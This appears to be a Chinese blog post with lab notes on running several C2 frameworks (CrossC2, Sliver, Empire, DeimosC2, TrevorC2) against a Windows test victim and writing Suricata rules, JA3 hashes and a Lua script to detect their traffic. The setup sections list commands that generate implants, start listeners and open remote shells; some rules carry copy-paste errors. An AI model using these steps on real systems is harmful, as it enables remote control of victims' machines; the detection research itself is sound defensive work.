【组内工作】木马回联

news2024/9/27 5:45:01

文章目录

  • C2服务器安装和运行方法
    • CrossC2运行方法
    • sliver运行方法
    • empire安装方法
    • DeimosC2安装教程
    • TrevorC2安装教程:
  • C2服务器的流量特征
    • CrossC2
      • 1. 心跳包
      • 2. 命令
      • 3. ja3/ja3s
    • Sliver
      • 1. http
      • 2. https
    • empire
      • http
      • https
    • DeimosC2
      • https
    • TrevorC2

C2服务器安装和运行方法

CrossC2运行方法

注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137

cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)

  • 在cs服务器192.168.230.137上:

    1. 打开一个终端,输入:
      sudo su
      ./teamserver 192.168.230.137 123456
  • 在攻击者192.168.230.137上:

    1. 再打开一个终端,输入:
      ./cobaltstrike

    2. 设置监听器,https的

    3. 导入插件,cna文件

    4. 生成payload

    5. 将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上

  • 在受害者192.168.230.143上:
    ./t_cc2.out

  • 在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143

sliver运行方法

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.137上:
    ./sliver-server_linux
    new-operator --name qinjian --lhost 192.168.230.137 //只用执行第一次
    multiplayer

  • 在攻击者192.168.230.138上:
    将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
    ./sliver-client_linux import qinjian_192.168.230.137.cfg //只用执行第一次
    ./sliver-client_linux

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    generate --mtls 192.168.230.137 --save test.exe --os Windows //生成shell
    mtls //开启mtls协议监听
    implants //查看生成过的shell
    jobs //查看进程

  • 将生成的shell文件test.exe放到windows受害者上,并运行
    双击test.exe

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    sessions //查看会话
    sessions -i id //进入会话 sessions -k id //结束会话
    shell --shell-path "C:\\windows\system32\cmd.exe" //进入交互式shell
    exit //退出

  • 在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143

empire安装方法

注意这里cs服务器和攻击者是同一台机器

cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.138上运行:
    ./ps-empire server

  • 在攻击者192.168.230.138上运行:
    ./ps-empire client

  • 设置监听器:
    uselistener [tap键选择监听器类型]
    set Name [监听器名称]
    set Port [端口号]
    execute
    listeners //查看设置的监听器
    kill [监听器Name] //删除监听器

  • 设置后门:
    usestager [tap键选择后门类型]
    set Listener [监听器Name]
    set OutFile [后门文件,例如launcher.bat] //可写可不写,默认就是set OutFile launcher.bat
    execute

  • 将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件

  • 在攻击者192.168.230.138上运行:
    agents //查看获取的代理会话
    shell whoami //执行命令

DeimosC2安装教程

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • cs服务器上运行:
    ./DeimosC2

  • 攻击者上:
    登录https://192.168.230.137:8443
    用户名:qinjian
    密码:qinjian1030
    add listener – 地址设为192.168.230.137
    下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到

  • 受害者上:
    运行下载的agents

TrevorC2安装教程:

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

sudo su
conda create -n py37 python=3.7(只第一次需要运行)
conda activate py37

  • 在cs服务器上运行:
    目录:SecistSploit
    sudo su
    conda activate py37
    python SSF.py
    use listener/trevorc2
    show options
    set lhost [本机ip] // 设置当前ip
    set target 2 // 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
    run // 生成agent文件

    list // 查看受害者主机
    interact 1 // 与受害者主机交互

  • 在受害者上运行生成的agent文件

C2服务器的流量特征

CrossC2

1. 心跳包

在这里插入图片描述
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )

实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)

2. 命令

  1. 执行命令时与平时的心跳包不太一样,会多传一些数据:
    在这里插入图片描述

  2. 并且加密数据是以00 00 00 00 00 00 00 02开头的
    在这里插入图片描述

    suricata规则:alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)

3. ja3/ja3s

ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)

ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)

Sliver

1. http

  • 独特的头部特定标识 / 特定的请求响应模式(html)

    观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。

    • .woff = Stagers(默认不使用)
    • .js = Long poll messages(长消息轮询,加密交互数据)
    • .html = Key exchange messages (密钥交换,set-cookie)
    • .php = Session messages
    • .png = Close session messages(关闭会话)

    随机路径生成的方法:
    在这里插入图片描述
    请求包的特征:

    1. 方法:POST/GET
    2. path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
    3. 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
    4. 文件后缀:.woff、.js、.html、.php、.png
    5. 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
    6. nonce值的长度为1到10位,包含数字和小写字母与下划线。

    综上,写出的suricata规则为:

    .woffalert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

    .jsalert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

    .phpalert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

    .pngalert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

2. https

  • ja3(s)加密指纹特征:

    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)

empire

http

https

DeimosC2

https

  • tls版本1.2/1.3
    在这里插入图片描述

  • https端口号:C2服务器默认为4443(不过可以修改)

  • ja3(s)加密指纹特征
    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)(和sliver一样)
    在这里插入图片描述
    在这里插入图片描述

TrevorC2

  • 心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
    在这里插入图片描述
    在这里插入图片描述

  • 受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
    在这里插入图片描述
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
    check_port.lua代码:

    function init(args)
        -- 这里可以执行一些初始化操作
    
        local rules = {}
        return rules
    end
    
    function check_port(pkt, data)
        if not pkt.is_http or not pkt.is_request then
            return 0
        end
    
        local src_port = pkt.src_port
        local prev_src_port = pkt.prev_pkt.src_port
    
        if src_port ~= prev_src_port + 1 then
            return 1
        end
    
        return 0
    end
    
    
  • 交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/805427.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【VTK】读取一个 STL 文件,并使用 Qt 显示出来,在 Windows 上使用 Visual Studio 配合 Qt 构建 VTK

知识不是单独的&#xff0c;一定是成体系的。更多我的个人总结和相关经验可查阅这个专栏&#xff1a;Visual Studio。 文章目录 A.hA.cppRef. 直接先把效果放出来&#xff0c;有需要就往下看。 A.h // A.h #pragma once#include <QtWidgets/QMainWindow> #include "…

【Qt】QML-02:QQuickView用法

1、先看demo QtCreator自动生成的工程是使用QQmlApplicationEngine来加载qml文件&#xff0c;下面的demo将使用QQuickView来加载qml文件 #include <QGuiApplication> #include <QtQuick/QQuickView>int main(int argc, char *argv[]) {QGuiApplication app(argc,…

蓝桥杯单片机第八届国赛 真题+代码

iic.c /* # I2C代码片段说明1. 本文件夹中提供的驱动代码供参赛选手完成程序设计参考。2. 参赛选手可以自行编写相关代码或以该代码为基础&#xff0c;根据所选单片机类型、运行速度和试题中对单片机时钟频率的要求&#xff0c;进行代码调试和修改。 */ #include <STC1…

生态共建丨YashanDB与构力科技完成兼容互认证

近日&#xff0c;深圳计算科学研究院崖山数据库系统YashanDB V22.2与北京构力科技有限公司BIMBase云平台完成兼容性互认证。经严格测试&#xff0c;双方产品完全兼容、运行稳定。 崖山数据库系统YashanDB是深算院自主研发设计的新型数据库系统&#xff0c;融入原创理论&#xf…

新手小白学习SWAT模型【建模方法、实例应用、高级进阶】

目录 第一部分&#xff1a;SWAT模型实践部分 第二部分&#xff1a;SWAT模型【进阶部分】 更多推荐 【专家】&#xff1a;刘老师【副教授】&#xff0c;北京重点高校资深专家&#xff0c;和美国SWAT软件开发方长期合作&#xff0c;拥有丰富的科研及工程技术经验&#xff0c;长…

vue3点击生成二维码

&#x1f642;博主&#xff1a;锅盖哒 &#x1f642;文章核心&#xff1a;vue点击生成二维码 目录大纲 html部分 js部分 css部分 html部分 当点击他的时候触发弹窗 <div class"tuand_Text"><div class"text_OBJ"><div><img src&q…

铁路关基保护新规:优先采购安全可信的网络产品和服务!

《征求意见稿》第十四条提到&#xff1a;运营者应当加强供应链安全保护&#xff0c;优先采购安全可信的网络产品和服务&#xff1b;采购网络产品和服务影响或者可能影响国家安全的&#xff0c;运营者应当预判网络产品和服务投入使用后可能带来的国家安全风险&#xff0c;按照国…

intellij 编辑器内性能提示

介绍 IntelliJ IDEA已经出了最新版的2023.2&#xff0c;最耀眼的功能无法两个 AI Assistant编辑器内性能提示 AI Assistant 已经尝试过了是限定功能&#xff0c;因为是基于open ai,所以限定的意思是国内无法使用&#xff0c;今天我们主要介绍是编辑器内性能提示 IntelliJ Pr…

API调试工具用什么?试试Apipost

前言 Apipost是一款支持 RESTful API、SOAP API、GraphQL API等多种API类型&#xff0c;支持 HTTPS、WebSocket、gRPC多种通信协议的API调试工具。除此之外&#xff0c;Apipost 还提供了自动化测试、团队协作、等多种功能。这些丰富的功能简化了工作流程&#xff0c;提高了研发…

软件测试-基础阶段学习

目录 一、测试介绍 二、测试常用分类 三、模型 四、测试流程 五、测试用例 六、用例设计方法 七、缺陷 八、html 资料获取方法 阶段目标 能独立针对web项目实施功能测试 一、测试介绍 什么是软件测试 使用技术手段验证软件是否满足需求 测试主流技能 功能测试自…

【JAVASE】顺序和选择结构

⭐ 作者&#xff1a;小胡_不糊涂 &#x1f331; 作者主页&#xff1a;小胡_不糊涂的个人主页 &#x1f4c0; 收录专栏&#xff1a;浅谈Java &#x1f496; 持续更文&#xff0c;关注博主少走弯路&#xff0c;谢谢大家支持 &#x1f496; 顺序和选择 1. 顺序结构2. 分支结构2.1 …

MySQL的入门使用

在命令提示符内使用MySQL MySQL安装好后&#xff0c;就可以简单的尝试使用它。 打开&#xff1a;命令提示符程序&#xff0c;输入&#xff1a;mysql -uroot -p&#xff0c;然后回车后输入密码&#xff0c;即可进入命令行环境 在MySQL的命令行环境下&#xff0c;可以通过&…

【换根DP】Subtree

Subtree - 洛谷 题意&#xff1a; 思路&#xff1a; Code&#xff1a; #include <bits/stdc.h>#define int long longusing namespace std;const int mxn1e510; const int mxv1e510;vector<int> G[mxn]; int N,P,u,v; int f[mxn],g[mxn],son[mxn],pre[mxn],suf[m…

Acwing.901 滑雪(动态规划)

题目 给定一个R行C列的矩阵&#xff0c;表示一个矩形网格滑雪场。 矩阵中第i行第j列的点表示滑雪场的第i行第j列区域的高度。 一个人从滑雪场中的某个区域内出发&#xff0c;每次可以向上下左右任意一个方向滑动一个单位距离。当然&#xff0c;一个人能够滑动到某相邻区域的前…

CTF PWN-攻防世界Overflow整数溢出漏洞

文章目录 前言整数溢出有符号整数溢出无符号整数回绕截断与宽度溢出 int_overflow题目漏洞分析EXP程序构造 总结 前言 滴水穿石&#xff0c;非一日之功。继续练习攻防世界 PWN 题目&#xff0c;此次练习的题目是 int_overflow&#xff0c;顾名思义是整数溢出类型的漏洞&#x…

小波分解机械信号

function [ output_args ] ex4_2( input_args ) %EXAMPLE4_2 Summary of this function goes here % Detailed explanation goes here clc; clear; load sumsin; s sumsin; % 进行3层小波分解&#xff0c;小波基函数为db3 [c,l] wavedec(s,3,db3); figure(1) subplot(21…

flutter minio

背景 前端 经常需要上传文件 图片 视频等等 到后端服务器&#xff0c; 如果到自己服务器 一般会有安全隐患。也不方便管理这些文件。如果要想使用一些骚操作 比如 按照前端请求生成不同分辨率的图片&#xff0c;那就有点不太方便了。 这里介绍以下 minio&#xff0c;&#xff0…

Vue如何实现页面跳转路由,实现单页面跳转

1、#锚链接&#xff0c;#后面的就是锚链接 2、#之后都是hash地址&#xff0c;这些都是在浏览器的F12中获得的 3、在浏览器查询链接地址的方法&#xff0c;href代表着当前的浏览器地址&#xff0c;&#xff1a; 使用location.href: 4、只想获取#链接地址&#xff0c;后面加loc…

Linux设备模型之input子系统详解

在键盘驱动代码分析的笔记中&#xff0c;接触到了input子系统.键盘驱动&#xff0c;键盘驱动将检测到的所有按键都上报给了input子系统。Input子系统是所有I/O设备驱动的中间层&#xff0c;为上层提供了一个统一的界面。例如&#xff0c;在终端系统中&#xff0c;我们不需要去管…

Redis(五)—— Redis进阶部分

一、Redis配置文件详解 注意这是Redis服务本身的配置文件&#xff0c;相当于maven的settings.xml&#xff0c;而不是我们在springboot去配置Redis的那个application.yml。 核心部分include 引入其他redis配置文件&#xff0c;相当于spring的<import>bind 设置IP&#xf…